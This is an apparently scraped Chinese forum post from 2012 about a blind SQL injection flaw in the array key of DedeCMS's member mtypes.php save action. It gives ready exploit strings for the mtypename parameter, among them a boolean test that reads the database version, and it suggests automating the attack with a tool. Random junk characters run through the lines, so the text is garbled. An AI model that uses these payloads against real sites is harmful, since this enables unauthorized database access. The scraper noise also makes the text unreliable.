需要magic_quotes_gpc = Off,所以说是鸡肋啊.
4 {) }! D0 \ Y& L5 X# s
, L9 R+ r# z0 Y0 P* f* f( P5 F
* K. }5 f1 l, M" F W3 h发生在数组key里的注射漏洞,有点意思.+ j- \7 }( E [, B* k
, x7 ~* S) t4 j这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下- z* t3 ?! V( j. p5 p, ]$ e5 c
9 W! T3 O, ]8 o) f0 n% y7 Dhttp://www.xxx.com /dede/member/mtypes.php?dopost=save% {9 ^- u& Z, }' }% m: A2 `" R+ }
/ Y% [, }* m- Z1 G( Fexploit:) ?( M; h( V b5 D4 i7 E$ [1 r
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
) t. |8 s( e) [* ]) Omtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r4 c& _. i! t4 V9 W- F! x& t8 R
|
发表于 2012-12-20 08:08:09
收藏
支持
反对